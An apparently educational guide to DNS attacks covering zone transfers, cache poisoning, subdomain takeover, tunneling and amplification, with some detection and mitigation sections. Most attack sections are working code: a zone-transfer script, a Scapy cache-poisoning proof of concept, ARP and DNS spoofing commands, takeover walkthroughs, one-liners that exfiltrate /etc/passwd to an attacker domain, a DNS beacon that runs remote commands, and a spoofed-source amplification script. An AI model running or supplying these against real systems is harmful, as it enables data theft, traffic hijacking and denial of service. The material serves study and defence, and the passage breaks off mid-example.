DNS Attacks: Comprehensive Guide to DNS Exploitation and Security
Complete DNS attack guide covering zone transfers, cache poisoning, subdomain takeovers, tunneling, and amplification with detection strategies.
Introduction
The Domain Name System (DNS) serves as the Internet's phonebook, translating human-readable domain names into IP addresses that computers use to communicate. Operating primarily on UDP port 53 (with TCP for large transfers and zone transfers), DNS processes billions of queries daily, making it a critical infrastructure component that, when compromised, can redirect entire organizations' traffic, exfiltrate sensitive data, or facilitate large-scale denial-of-service attacks. The protocol's design, dating back to 1983, predates modern security considerations, creating inherent vulnerabilities that adversaries continue to exploit despite decades of security enhancements.
DNS attacks represent a particularly dangerous class of network exploitation because they target a fundamental trust assumption: users and systems trust DNS responses to accurately map names to addresses. When this trust is violated through cache poisoning, malicious zone configurations, or intercepted queries, attackers gain the ability to redirect traffic transparently, intercept communications, and bypass security controls that rely on domain-based access controls. The distributed nature of DNS, with recursive resolvers caching responses for performance, means a single successful poisoning attack can affect thousands of downstream clients.
What makes DNS security especially challenging is the protocol's dual role as both a critical infrastructure service and a potential attack vector for sophisticated threats. Modern adversaries use DNS for command-and-control (C2) communications, data exfiltration through DNS tunneling, reconnaissance through zone transfers and subdomain enumeration, and as an amplification vector for massive distributed denial-of-service (DDoS) attacks. Meanwhile, organizations increasingly depend on DNS-based security controls (blackhole listings, domain filtering, threat intelligence) that themselves become targets for circumvention and exploitation.
The Trust Foundation of the Internet
Every internet connection begins with a DNS query. Compromise this single point, and an attacker can intercept banking sessions, redirect email traffic, distribute malware through seemingly legitimate update servers, or render entire services unavailable. DNS security isn't merely about protecting a protocol—it's about defending the foundational trust mechanism that makes the modern internet possible.
Technical Background
DNS Protocol Architecture
DNS operates as a hierarchical, distributed database system with query resolution following either recursive or iterative patterns:
DNS Hierarchy:
Root Servers (.)
|
+-----------------+-----------------+
| | |
TLD (.com) TLD (.org) TLD (.net)
| | |
Authoritative NS Authoritative NS Authoritative NS
(example.com) (example.org) (example.net)
|
+-----------------+
| |
subdomain.example.com www.example.comQuery Resolution Flow:
Client → Recursive Resolver → Root Server → TLD Server → Authoritative NS → Response
↑______________________________________________________________|
(cached for TTL duration)DNS Record Types
| Record Type | Purpose | Security Implications |
|---|---|---|
| A | IPv4 address mapping | Target for cache poisoning, hijacking |
| AAAA | IPv6 address mapping | Often overlooked in security policies |
| CNAME | Canonical name alias | Subdomain takeover vulnerability vector |
| MX | Mail exchanger | Email interception, spam relay abuse |
| NS | Name server delegation | Zone transfer attacks, delegation hijacking |
| TXT | Text records | SPF/DKIM/DMARC bypass, information disclosure |
| PTR | Reverse DNS lookup | Reconnaissance, trust validation bypass |
| SRV | Service locator | Service discovery for targeted attacks |
| SOA | Start of authority | Zone configuration enumeration |
| CAA | Certificate authority authorization | Certificate misissuance prevention |
DNS Query and Response Structure
DNS Query Format:
Header:
Transaction ID: 0x1234 (16-bit, must match response)
Flags: Standard query, recursion desired
Questions: 1
Answers: 0
Authority: 0
Additional: 0
Question:
Name: www.example.com
Type: A (IPv4 address)
Class: IN (Internet)DNS Response Format:
Header:
Transaction ID: 0x1234 (matches query)
Flags: Response, authoritative answer
Questions: 1
Answers: 1
Authority: 2
Additional: 2
Answer:
Name: www.example.com
Type: A
Class: IN
TTL: 3600 seconds
Data: 192.0.2.1Attack Surface Overview
DNS Vulnerabilities by Component:
| Component | Common Attacks | Impact |
|---|---|---|
| Recursive Resolver | Cache poisoning, amplification | Widespread client redirection |
| Authoritative Server | Zone transfer, zone poisoning | Complete domain control |
| Client/Stub Resolver | Local poisoning, HOSTS file modification | Individual system compromise |
| DNS Traffic | MITM interception, tunneling detection | Communication compromise, data exfiltration |
| Registration/Configuration | Domain hijacking, subdomain takeover | Service impersonation, phishing |
DNS Zone Transfer Attacks
Understanding Zone Transfers
DNS zone transfers (AXFR queries) are designed for synchronizing DNS data between primary and secondary name servers. When misconfigured to allow transfers to unauthorized hosts, they provide complete DNS namespace enumeration, revealing internal network architecture, service locations, and organizational structure.
Enumeration and Discovery
# Identify DNS servers
nmap -p 53 -sV target-domain.com
# Discover name servers
dig NS target-domain.com
# Output:
# target-domain.com. 3600 IN NS ns1.target-domain.com.
# target-domain.com. 3600 IN NS ns2.target-domain.com.
# Resolve name server IP addresses
dig A ns1.target-domain.com
dig A ns2.target-domain.com
# Alternative: Use host command
host -t NS target-domain.com
host ns1.target-domain.comAttempt Zone Transfer
# Method 1: Using dig
dig @ns1.target-domain.com target-domain.com AXFR
# Method 2: Using host
host -l target-domain.com ns1.target-domain.com
# Method 3: Using nslookup
nslookup
> server ns1.target-domain.com
> ls -d target-domain.com
# Method 4: Using fierce (automated)
fierce --domain target-domain.com
# Successful output reveals:
# - All A records (internal IPs, server locations)
# - CNAME records (aliases, service names)
# - MX records (mail infrastructure)
# - TXT records (SPF, DKIM, metadata)
# - SRV records (service locations)Parse and Analyze Results
# Extract all subdomains
dig @ns1.target-domain.com target-domain.com AXFR | grep -E "^[a-zA-Z0-9]" | awk '{print $1}' | sort -u
# Extract only A records with IPs
dig @ns1.target-domain.com target-domain.com AXFR | grep "IN\s*A" | awk '{print $1, $5}'
# Find mail servers
dig @ns1.target-domain.com target-domain.com AXFR | grep "MX"
# Identify potential staging/dev environments
dig @ns1.target-domain.com target-domain.com AXFR | grep -E "(dev|test|stage|uat|preprod)"Automated Zone Transfer Enumeration
#!/usr/bin/env python3
"""
DNS Zone Transfer Enumeration Tool
Attempts AXFR requests against discovered name servers
"""
import dns.resolver
import dns.zone
import dns.query
import sys
from termcolor import colored
def get_nameservers(domain):
"""Retrieve NS records for domain"""
try:
ns_records = dns.resolver.resolve(domain, 'NS')
nameservers = [str(ns.target).rstrip('.') for ns in ns_records]
return nameservers
except Exception as e:
print(colored(f"[-] Error resolving NS records: {e}", "red"))
return []
def attempt_zone_transfer(domain, nameserver):
"""Attempt AXFR zone transfer"""
try:
print(colored(f"\n[*] Attempting zone transfer from {nameserver}...", "yellow"))
# Attempt zone transfer
zone = dns.zone.from_xfr(dns.query.xfr(nameserver, domain, timeout=10))
if zone:
print(colored(f"[+] Zone transfer successful from {nameserver}!", "green"))
print(colored(f"[+] Found {len(zone.nodes)} records:\n", "green"))
results = []
for name, node in zone.nodes.items():
for rdataset in node.rdatasets:
for rdata in rdataset:
record = {
'name': f"{name}.{domain}" if str(name) != '@' else domain,
'type': dns.rdatatype.to_text(rdataset.rdtype),
'value': str(rdata)
}
results.append(record)
print(f" {record['name']:<40} {record['type']:<8} {record['value']}")
return results
else:
print(colored(f"[-] Zone transfer failed from {nameserver}", "red"))
return None
except dns.exception.FormError:
print(colored(f"[-] Zone transfer refused by {nameserver}", "red"))
return None
except dns.exception.Timeout:
print(colored(f"[-] Timeout connecting to {nameserver}", "red"))
return None
except Exception as e:
print(colored(f"[-] Error: {e}", "red"))
return None
def analyze_records(records):
"""Analyze discovered records for interesting findings"""
if not records:
return
print(colored("\n[*] Analysis Summary:", "cyan"))
# Count record types
types = {}
for record in records:
types[record['type']] = types.get(record['type'], 0) + 1
print(colored(f"\n[+] Record type distribution:", "cyan"))
for rtype, count in sorted(types.items(), key=lambda x: x[1], reverse=True):
print(f" {rtype:<10} {count:>4} records")
# Find interesting subdomains
interesting = ['admin', 'dev', 'test', 'stage', 'staging', 'uat', 'internal', 'vpn', 'mail', 'smtp', 'ftp']
found_interesting = [r for r in records if any(keyword in r['name'].lower() for keyword in interesting)]
if found_interesting:
print(colored(f"\n[+] Potentially interesting hosts:", "yellow"))
for record in found_interesting:
print(f" {record['name']:<40} {record['type']:<8} {record['value']}")
# Find RFC1918 private IPs
private_ranges = ['10.', '172.16.', '172.17.', '172.18.', '172.19.', '172.20.',
'172.21.', '172.22.', '172.23.', '172.24.', '172.25.', '172.26.',
'172.27.', '172.28.', '172.29.', '172.30.', '172.31.', '192.168.']
private_ips = [r for r in records if r['type'] == 'A' and any(r['value'].startswith(prefix) for prefix in private_ranges)]
if private_ips:
print(colored(f"\n[+] Internal IP addresses discovered:", "yellow"))
for record in private_ips:
print(f" {record['name']:<40} {record['value']}")
def main():
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} <domain>")
sys.exit(1)
domain = sys.argv[1]
print(colored(f"[*] Starting DNS zone transfer attack on {domain}", "cyan"))
# Get name servers
nameservers = get_nameservers(domain)
if not nameservers:
print(colored("[-] No name servers found", "red"))
sys.exit(1)
print(colored(f"[+] Found {len(nameservers)} name servers:", "green"))
for ns in nameservers:
print(f" - {ns}")
# Attempt zone transfer on each NS
all_records = []
for ns in nameservers:
records = attempt_zone_transfer(domain, ns)
if records:
all_records.extend(records)
# Analyze findings
if all_records:
analyze_records(all_records)
# Save results
output_file = f"zone_transfer_{domain}.txt"
with open(output_file, 'w') as f:
for record in all_records:
f.write(f"{record['name']}\t{record['type']}\t{record['value']}\n")
print(colored(f"\n[+] Results saved to {output_file}", "green"))
else:
print(colored("\n[-] No successful zone transfers", "red"))
if __name__ == '__main__':
main()#!/bin/bash
# DNS Zone Transfer Enumeration Script
DOMAIN=$1
if [ -z "$DOMAIN" ]; then
echo "Usage: $0 <domain>"
exit 1
fi
echo "[*] Starting DNS zone transfer attack on $DOMAIN"
# Get name servers
echo "[*] Discovering name servers..."
NS_SERVERS=$(dig +short NS $DOMAIN 2>/dev/null)
if [ -z "$NS_SERVERS" ]; then
echo "[-] No name servers found"
exit 1
fi
echo "[+] Found name servers:"
echo "$NS_SERVERS" | while read ns; do
echo " - $ns"
done
# Attempt zone transfer on each name server
echo ""
echo "$NS_SERVERS" | while read ns; do
echo "[*] Attempting zone transfer from $ns..."
# Remove trailing dot if present
ns_clean=$(echo $ns | sed 's/\.$//')
# Attempt AXFR
RESULT=$(dig @$ns_clean $DOMAIN AXFR 2>&1)
if echo "$RESULT" | grep -q "XFR size"; then
echo "[+] Zone transfer successful from $ns_clean!"
echo ""
echo "$RESULT" | grep -E "^[a-zA-Z0-9]"
# Save to file
echo "$RESULT" > "zone_${DOMAIN}_${ns_clean}.txt"
echo "[+] Saved to zone_${DOMAIN}_${ns_clean}.txt"
else
echo "[-] Zone transfer failed or refused"
fi
echo ""
done
# Summary analysis
echo "[*] Analysis Summary:"
# Find all A records
echo "[+] A Records:"
cat zone_${DOMAIN}_*.txt 2>/dev/null | grep -E "\sA\s" | awk '{print $1, $5}' | sort -u
# Find MX records
echo ""
echo "[+] Mail Servers:"
cat zone_${DOMAIN}_*.txt 2>/dev/null | grep -E "\sMX\s" | awk '{print $6}' | sort -u
# Find interesting subdomains
echo ""
echo "[+] Potentially Interesting Hosts:"
cat zone_${DOMAIN}_*.txt 2>/dev/null | grep -Ei "(admin|dev|test|stage|vpn|internal)" | awk '{print $1}' | sort -u# Using Metasploit Framework for zone transfer
msfconsole
# Load auxiliary module
use auxiliary/gather/enum_dns
# Set target domain
set DOMAIN target-domain.com
# Enable zone transfer attempts
set ENUM_AXFR true
# Set specific name server (optional)
set NS ns1.target-domain.com
# Run enumeration
run
# Alternative: Direct AXFR module
use auxiliary/gather/dns_info
set DOMAIN target-domain.com
run
# Metasploit will automatically:
# - Enumerate name servers
# - Attempt zone transfers
# - Parse and display results
# - Identify interesting subdomainsReconnaissance Value of Zone Transfers
Successful zone transfers reveal:
- Internal Network Architecture: Development, staging, production environments
- Service Discovery: Mail servers, web servers, databases, FTP, VPN gateways
- Naming Conventions: Patterns that aid in guessing additional hosts
- Third-Party Integrations: SaaS platforms, CDNs, authentication services
- Legacy Systems: Old, potentially vulnerable hosts still in DNS
- Administrative Contacts: Email addresses from SOA records
- Geographic Distribution: Regional naming patterns
DNS Cache Poisoning
Kaminsky Attack Fundamentals
The Kaminsky attack (CVE-2008-1447) exploits the relatively small 16-bit transaction ID space in DNS queries, allowing attackers to inject forged responses into resolver caches.
Attack Prerequisites:
- Ability to send packets to target resolver
- Knowledge of resolver's source port (if not randomized)
- Timing window during legitimate query resolution
Attack Flow:
1. Attacker triggers DNS query for target.com
Client → Resolver: "What is target.com?"
Resolver → Authoritative NS: "What is target.com?"
2. Race condition begins
Attacker floods resolver with forged responses:
- Transaction ID: 0x0001, Answer: target.com → 192.0.2.100 (attacker IP)
- Transaction ID: 0x0002, Answer: target.com → 192.0.2.100
- Transaction ID: 0x0003, Answer: target.com → 192.0.2.100
... (thousands of attempts)
3. If attacker's response arrives first AND matches transaction ID:
- Resolver caches malicious record
- All clients using this resolver get attacker's IP
- Cache persists for TTL duration (often hours)
4. Legitimate response arrives but is ignored (query already answered)Kaminsky Attack Proof of Concept
#!/usr/bin/env python3
"""
DNS Cache Poisoning PoC (Kaminsky Attack)
Educational purposes only - requires raw socket capabilities
"""
from scapy.all import *
import random
import sys
def poison_dns_cache(target_resolver, target_domain, attacker_ip):
"""
Attempt to poison DNS cache with malicious record
WARNING: This is for educational purposes only
"""
print(f"[*] Target Resolver: {target_resolver}")
print(f"[*] Target Domain: {target_domain}")
print(f"[*] Attacker IP: {attacker_ip}")
print(f"[*] Starting cache poisoning attack...\n")
# Craft malicious DNS response
def craft_response(txid, query_name):
"""Create forged DNS response"""
# IP layer
ip = IP(
src=target_resolver, # Spoof authoritative NS IP
dst=target_resolver
)
# UDP layer
udp = UDP(
sport=53,
dport=random.randint(1024, 65535) # Guess ephemeral port
)
# DNS layer
dns = DNS(
id=txid,
qr=1, # Response
aa=1, # Authoritative answer
rd=1, # Recursion desired
ra=1, # Recursion available
qdcount=1,
ancount=1,
qd=DNSQR(qname=query_name, qtype='A'),
an=DNSRR(rrname=query_name, type='A', rdata=attacker_ip, ttl=3600)
)
return ip/udp/dns
# Attack loop
attempt = 0
max_attempts = 65536 # All possible transaction IDs
for txid in range(0, max_attempts):
# Craft and send forged response
packet = craft_response(txid, target_domain)
try:
send(packet, verbose=0)
attempt += 1
if attempt % 1000 == 0:
print(f"[*] Sent {attempt} forged responses...")
except Exception as e:
print(f"[-] Error: {e}")
break
print(f"\n[+] Attack complete. Sent {attempt} forged responses.")
print(f"[*] If successful, {target_domain} now resolves to {attacker_ip} on {target_resolver}")
if __name__ == '__main__':
if len(sys.argv) != 4:
print(f"Usage: {sys.argv[0]} <resolver_ip> <target_domain> <attacker_ip>")
sys.exit(1)
# Warning
print("\n" + "="*60)
print("WARNING: This tool is for educational purposes ONLY")
print("Unauthorized DNS cache poisoning is illegal")
print("="*60 + "\n")
response = input("Continue? (yes/no): ")
if response.lower() != 'yes':
sys.exit(0)
poison_dns_cache(sys.argv[1], sys.argv[2], sys.argv[3])Modern Cache Poisoning Mitigations
DNSSEC (DNS Security Extensions):
# Check if domain uses DNSSEC
dig +dnssec example.com
# Look for RRSIG records in response
# Indicates cryptographically signed DNS records
# Validate DNSSEC chain
delv @8.8.8.8 example.com
# Output shows validation status:
# - Secure: DNSSEC validation successful
# - Insecure: No DNSSEC
# - Bogus: DNSSEC validation failedDNS Query Randomization:
- Source port randomization (0x800 factor increase in entropy)
- Transaction ID randomization (16 bits)
- Combined: ~28 bits of entropy (268 million combinations)
- Modern resolvers implement both
DNS Cookies (RFC 7873):
# Check for DNS cookie support
dig +cookie example.com @resolver-ip
# Cookies provide:
# - Client identifier
# - Server validation
# - Replay attack preventionLocal DNS Cache Poisoning
Ettercap-Based Local Poisoning:
# Configure DNS spoofing in Ettercap
nano /etc/ettercap/etter.dns
# Add entries:
target-domain.com A 192.168.1.100
*.target-domain.com A 192.168.1.100
# Start Ettercap with ARP spoofing
ettercap -T -q -i eth0 -M arp:remote /target-ip// /gateway-ip//
# Enable dns_spoof plugin
ettercap -T -q -i eth0 -P dns_spoof -M arp:remote /target-ip// /gateway-ip//
# Verify spoofing
# On target machine:
ping target-domain.com
# Should resolve to attacker's IPBettercap DNS Spoofing:
# Start Bettercap
bettercap -iface eth0
# Enable DNS spoofer
dns.spoof on
# Set targets
set dns.spoof.domains target-domain.com, *.target-domain.com
set dns.spoof.address 192.168.1.100
# Enable ARP spoofing
set arp.spoof.targets 192.168.1.50
arp.spoof on
# Monitor spoofed queries
events.stream onSubdomain Takeover Attacks
Understanding Subdomain Takeovers
Subdomain takeover occurs when a subdomain (e.g., dev.example.com) points to a third-party service (GitHub Pages, AWS S3, Azure, Heroku) via CNAME record, but the service account is deprovisioned while the DNS record remains. An attacker can then claim that service endpoint and control the subdomain.
Subdomain Enumeration
# Method 1: Subfinder (fast, uses multiple sources)
subfinder -d example.com -o subdomains.txt
# Method 2: Amass (comprehensive)
amass enum -d example.com -o amass_subdomains.txt
# Method 3: Assetfinder
assetfinder --subs-only example.com | tee assetfinder_subs.txt
# Method 4: DNS brute-forcing
dnsrecon -d example.com -D /usr/share/wordlists/subdomains.txt -t brt
# Method 5: Certificate transparency logs
curl -s "https://crt.sh/?q=%.example.com&output=json" | \
jq -r '.[].name_value' | sort -u
# Combine all results
cat subdomains.txt amass_subdomains.txt assetfinder_subs.txt | sort -u > all_subdomains.txtIdentify CNAME Records
# Check for CNAME records
cat all_subdomains.txt | while read sub; do
echo "Checking: $sub"
dig +short CNAME $sub
done | tee cname_records.txt
# Filter for third-party services
cat cname_records.txt | grep -Ei "(github|amazonaws|azure|heroku|wordpress|shopify|tumblr|desk|unbounce)"Test for Takeover Vulnerability
# Check if subdomain returns error indicating unclaimed resource
# For AWS S3
curl -I https://vulnerable-subdomain.example.com
# Look for: "NoSuchBucket", "The specified bucket does not exist"
# For GitHub Pages
curl -I https://vulnerable-subdomain.example.com
# Look for: "There isn't a GitHub Pages site here"
# For Heroku
curl -I https://vulnerable-subdomain.example.com
# Look for: "No such app"
# For Azure
curl -I https://vulnerable-subdomain.example.com
# Look for: "404 Web Site not found"Automated Vulnerability Scanning
# Using SubOver
go get github.com/Ice3man543/SubOver
SubOver -l all_subdomains.txt
# Using subjack
go get github.com/haccer/subjack
subjack -w all_subdomains.txt -t 100 -timeout 30 -ssl -c subjack-fingerprints.json
# Using nuclei with templates
nuclei -l all_subdomains.txt -t subdomain-takeover/
# Output shows vulnerable subdomains and recommended services to claimExploitation Examples
GitHub Pages Takeover:
# 1. Verify vulnerability
dig CNAME dev.example.com
# Output: dev.example.com. 3600 IN CNAME old-org.github.io.
curl https://dev.example.com
# Returns: "There isn't a GitHub Pages site here"
# 2. Create GitHub repository
# Name: old-org (must match CNAME target before .github.io)
# 3. Enable GitHub Pages
# Settings → Pages → Source: main branch → Save
# 4. Add CNAME file to repository
echo "dev.example.com" > CNAME
git add CNAME
git commit -m "Add custom domain"
git push
# 5. Verify takeover
curl https://dev.example.com
# Now serves your content
# 6. Create proof of concept
echo "<h1>Subdomain Takeover PoC</h1>" > index.html
echo "<p>This domain is vulnerable to subdomain takeover</p>" >> index.html
git add index.html
git commit -m "Add PoC"
git pushAWS S3 Bucket Takeover:
# 1. Verify vulnerability
dig CNAME staging.example.com
# Output: staging.example.com. 3600 IN CNAME old-bucket.s3.amazonaws.com.
curl https://staging.example.com
# Returns: "NoSuchBucket - The specified bucket does not exist"
# 2. Create S3 bucket with exact name
aws s3 mb s3://old-bucket --region us-east-1
# Note: Bucket name must match exactly (including region)
# 3. Configure bucket for static website hosting
aws s3 website s3://old-bucket/ --index-document index.html
# 4. Upload content
echo "<h1>S3 Subdomain Takeover PoC</h1>" > index.html
aws s3 cp index.html s3://old-bucket/
# 5. Set bucket policy for public read
cat > bucket-policy.json <<EOF
{
"Version": "2012-10-17",
"Statement": [{
"Sid": "PublicReadGetObject",
"Effect": "Allow",
"Principal": "*",
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::old-bucket/*"
}]
}
EOF
aws s3api put-bucket-policy --bucket old-bucket --policy file://bucket-policy.json
# 6. Verify takeover
curl https://staging.example.comMicrosoft Azure Takeover:
# 1. Verify vulnerability
dig CNAME api.example.com
# Output: api.example.com. 3600 IN CNAME old-app.azurewebsites.net.
curl https://api.example.com
# Returns: "404 - Web app not found"
# 2. Create Azure App Service with matching name
az webapp create --resource-group myResourceGroup \
--plan myAppServicePlan --name old-app
# Name must match: old-app (before .azurewebsites.net)
# 3. Configure custom domain
az webapp config hostname add --webapp-name old-app \
--resource-group myResourceGroup --hostname api.example.com
# 4. Deploy proof of concept
az webapp deployment source config --name old-app \
--resource-group myResourceGroup --repo-url <git-repo> \
--branch master --manual-integration
# 5. Verify takeover
curl https://api.example.comHeroku App Takeover:
# 1. Verify vulnerability
dig CNAME app.example.com
# Output: app.example.com. 3600 IN CNAME old-app-name.herokuapp.com.
curl https://app.example.com
# Returns: "No such app"
# 2. Create Heroku app with matching name
heroku create old-app-name
# App name must match exactly
# 3. Add custom domain
heroku domains:add app.example.com --app old-app-name
# 4. Deploy proof of concept
echo "web: python -m http.server \$PORT" > Procfile
git init
git add Procfile
git commit -m "Initial commit"
git remote add heroku https://git.heroku.com/old-app-name.git
git push heroku master
# 5. Verify takeover
curl https://app.example.comPrevention and Detection
# Automated subdomain monitoring
#!/bin/bash
# monitor_subdomains.sh
DOMAIN="example.com"
PREVIOUS_FILE="previous_subdomains.txt"
CURRENT_FILE="current_subdomains.txt"
# Enumerate subdomains
subfinder -d $DOMAIN -silent | sort -u > $CURRENT_FILE
# Check for removed subdomains (potential dangling DNS)
if [ -f $PREVIOUS_FILE ]; then
REMOVED=$(comm -23 $PREVIOUS_FILE $CURRENT_FILE)
if [ ! -z "$REMOVED" ]; then
echo "[!] WARNING: Subdomains removed since last check:"
echo "$REMOVED"
# Check if DNS records still exist
echo "$REMOVED" | while read sub; do
CNAME=$(dig +short CNAME $sub)
if [ ! -z "$CNAME" ]; then
echo "[!] ALERT: $sub has CNAME to $CNAME but subdomain is removed!"
echo " This may be vulnerable to takeover!"
fi
done
fi
fi
# Update baseline
mv $CURRENT_FILE $PREVIOUS_FILEDNS Tunneling and Data Exfiltration
Understanding DNS Tunneling
DNS tunneling encodes data within DNS queries and responses to bypass firewalls, exfiltrate data, or establish command-and-control (C2) channels. Since DNS is rarely blocked and often unmonitored, it provides a covert communication channel.
Manual DNS Tunneling Techniques
Basic Data Exfiltration:
# Encode data in DNS query
# Each query can contain ~63 characters per label, 253 total
# Example: Exfiltrate /etc/passwd
cat /etc/passwd | base64 | fold -w 63 | while read line; do
dig $line.attacker-domain.com @attacker-dns-server
sleep 1
done
# On attacker's DNS server (log file):
tail -f /var/log/named/queries.log | grep attacker-domain.com | \
awk '{print $6}' | cut -d'.' -f1 | base64 -dDNS TXT Record Exfiltration:
# Attacker sets up authoritative DNS server to respond with TXT records
# Client queries with data in subdomain
# Server responds with encoded commands in TXT record
# Client script:
#!/bin/bash
while true; do
# Send beacon
RESPONSE=$(dig +short TXT "$(hostname).beacon.attacker.com" @attacker-server)
# Execute commands from TXT response
eval $RESPONSE
# Send results
RESULT=$(eval $RESPONSE | base64 -w0)
dig ${RESULT:0:63}.response.attacker.com @attacker-server
sleep 60
doneDNS Tunneling Tools
dnscat2 (Most Popular):
# Server (attacker machine)
ruby dnscat2.rb attacker-domain.com
# Client (victim machine)
./dnscat --secret=secretkey attacker-domain.com
# Or if DNS server is specified:
./dnscat --secret=secretkey --dns server=8.8.8.8,domain=attacker-domain.com
# Once connected:
# - Fully interactive shell
# - File transfer capabilities
# - Port forwarding through DNS
# - Encrypted communication
# dnscat2 commands:
# windows - list active sessions
# window -i 1 - interact with session 1
# shell - spawn interactive shell
# upload/download - file transferiodine (High Performance):
# Server setup
sudo iodined -f -c -P secretpassword 10.0.0.1 tunnel.attacker.com
# Client connection
sudo iodine -f -P secretpassword tunnel.attacker.com
# Creates virtual network interface (dns0)
# All traffic through this interface is tunneled via DNS
# Use SSH over DNS tunnel
ssh -D 8080 [email protected]
# Now have SOCKS proxy over DNS tunnel
# Performance:
# - ~3-5 KB/s with default DNS
# - ~50-100 KB/s with direct NS queries
# - Depends on DNS resolver recursion limitsdns2tcp:
# Server configuration
# /etc/dns2tcpd.conf
listen = 0.0.0.0
port = 53
domain = tunnel.attacker.com
ressources = ssh:127.0.0.1:22
# Start server
dns2tcpd -f /etc/dns2tcpd.conf
# Client usage
dns2tcpc -r ssh -z tunnel.attacker.com -l 2222 127.0.0.1
# Now SSH is available on localhost:2222
ssh -p 2222 [email protected]Detecting DNS Tunneling
Statistical Analysis:
#!/usr/bin/env python3
"""
DNS Tunneling Detection - Statistical Anomalies
"""
import re
from collections import Counter
def analyze_dns_logs(logfile):
"""Analyze DNS queries for tunneling indicators"""
suspicious_queries = []
with open(logfile, 'r') as f:
for line in f:
# Extract domain from query
match = re.search(r'query: ([^\s]+)', line)
if not match:
continue
domain = match.group(1)
# Indicators of tunneling:
# 1. Excessive subdomain length
labels = domain.split('.')
for label in labels:
if len(label) > 40:
suspicious_queries.append({
'domain': domain,
'reason': 'Long subdomain label',
'value': len(label)
})
# 2. High entropy (random-looking subdomains)
entropy = calculate_entropy(labels[0] if labels else '')
if entropy > 4.0: # High entropy threshold
suspicious_queries.append({
'domain': domain,
'reason': 'High entropy subdomain',
'value': entropy
})
# 3. Unusual character distribution
if has_base64_pattern(labels[0] if labels else ''):
suspicious_queries.append({
'domain': domain,
'reason': 'Base64-like encoding detected'
})
# 4. Excessive query volume to single domain
# (requires tracking across time)
return suspicious_queries
def calculate_entropy(s):
"""Calculate Shannon entropy of string"""
import math
counter = Counter(s)
length = len(s)
return -sum(count/length * math.log2(count/length) for count in counter.values())
def has_base64_pattern(s):
"""Check if string matches base64 pattern"""
return bool(re.match(r'^[A-Za-z0-9+/]+=*$', s))
# Usage
suspicious = analyze_dns_logs('/var/log/named/queries.log')
for query in suspicious:
print(f"[!] {query['domain']}: {query['reason']}")Behavioral Indicators:
- Unusually long subdomain labels (>40 characters)
- High entropy in subdomain names (random appearance)
- Repeated queries to same base domain
- Queries with regular intervals (beacon pattern)
- TXT record queries with large responses
- NULL record type queries
- High ratio of queries to unique subdomains
Network-Based Detection:
# Monitor with tcpdump
tcpdump -i any -n port 53 -A | grep -E '^[A-Za-z0-9+/]{40,}'
# Count queries per domain
tcpdump -i any -n port 53 2>/dev/null | \
awk '{print $8}' | cut -d'.' -f2- | \
sort | uniq -c | sort -rn | head -20
# Find long subdomains
tcpdump -i any -n port 53 -A 2>/dev/null | \
grep -oE '[a-z0-9]{50,}\.[a-z]+' | sort -uDNS Amplification DDoS Attacks
Attack Mechanics
DNS amplification exploits open DNS resolvers to amplify attack traffic volume by 30-50x or more.
Attack Flow:
1. Attacker spoofs source IP to victim's IP
Attacker → Open Resolver: Query for ANY record of large-record.com
Source IP: VICTIM_IP (spoofed)
2. Resolver queries authoritative server
Resolver → Authoritative NS: What are ALL records for large-record.com?
3. Large response sent to spoofed IP (victim)
Resolver → VICTIM_IP: [4000+ bytes of DNS response]
4. Amplification factor calculation:
Query size: 60 bytes
Response size: 4000 bytes
Amplification: 66.6x
5. Multiply by thousands of open resolvers = massive DDoSIdentifying Open Resolvers
# Check if resolver is open
dig @target-resolver example.com
# If response received, resolver is open
# Scan for open resolvers (careful - noisy)
nmap -sU -p 53 --script dns-recursion <network-range>
# Check amplification potential
dig @open-resolver ANY isc.org | wc -c
# Compare response size to query size
# Find resolvers with large amplification
# Query for domains with many records
dig @resolver ANY ripe.net
dig @resolver ANY google.comAttack Script (Educational Only)
#!/usr/bin/env python3
"""
DNS Amplification Attack PoC
WARNING: For educational purposes ONLY
Unauthorized DDoS attacks are illegal
"""
from scapy.all import *
import sys
def dns_amplification(target_ip, resolver_list, domain):
"""
Demonstrate DNS amplification attack
"""
print(f"[*] Target: {target_ip}")
print(f"[*] Using {len(resolver_list)} resolvers")
print(f"[*] Query domain: {domain}")
print(f"[*] Starting attack...\n")
count = 0
while True:
for resolver in resolver_list:
# Craft DNS query with spoofed source IP
ip = IP(src=target_ip, dst=resolver) # Spoof victim's IP
udp = UDP(sport=random.randint(1024, 65535), dport=53)
# Request ANY record (largest response)
dns = DNS(rd=1, qd=DNSQR(qname=domain, qtype='ANY'))
packet = ip/udp/dns
# Send packet
send(packet, verbose=0)
count += 1
if count % 100 == 0:
print(f"[*] Sent {count} amplified queries...")
if __name__ == '__main__':
print("\n" + "="*70)
print("WARNING: This tool demonstrates illegal DDoS attack techniques")
print("Use ONLY in authorized testing environments")
print("Unauthorized use is illegal and punishable by law")
print("="*70 + "\n")
# Example open resolvers (DO NOT USE IN REAL ATTACKS)
resolvers = [
'8.8.8.8',
'1.1.1.1',
# Add more (never use without permission)
]
# Domain with large DNS response
amplification_domain = 'ripe.net' # Known to have many records
# This is where you would specify target (NEVER DO THIS)
# target = sys.argv[1]
# dns_amplification(target, resolvers, amplification_domain)
print("[*] Attack code intentionally disabled")
print("[*] This is for educational reference only")Mitigation Strategies
# Disable recursion on authoritative servers
# BIND configuration (/etc/named.conf):
options {
recursion no;
allow-query { trusted-networks; };
rate-limit {
responses-per-second 10;
window 5;
};
};
# Response Rate Limiting (RRL)
rate-limit {
responses-per-second 10; # Max responses to same IP
errors-per-second 5;
window 5;
};
# Block ANY queries
# (legitimate use is rare, mostly used for amplification)
options {
minimal-responses yes; # Don't respond to ANY with all records
};
# Implement BCP38 (ingress filtering)
# Prevent IP spoofing at network edge
# Monitor for amplification attacks
# Alert on high DNS query rate from single IP
# Alert on ANY query floodDetection and Monitoring
DNS Monitoring Tools and Techniques
Passive DNS Collection:
# Setup passive DNS collector with packetbeat
# Install Packetbeat
wget https://artifacts.elastic.co/downloads/beats/packetbeat/packetbeat-8.x.x-amd64.deb
sudo dpkg -i packetbeat-8.x.x-amd64.deb
# Configure for DNS monitoring
sudo nano /etc/packetbeat/packetbeat.yml
# Add DNS configuration:
packetbeat.interfaces.device: any
packetbeat.protocols:
- type: dns
ports: [53]
send_request: true
send_response: true
# Output to Elasticsearch
output.elasticsearch:
hosts: ["localhost:9200"]
# Start collection
sudo systemctl start packetbeat
# Query passive DNS data
curl -X GET "localhost:9200/packetbeat-*/_search?pretty" -H 'Content-Type: application/json' -d'
{
"query": {
"match": {
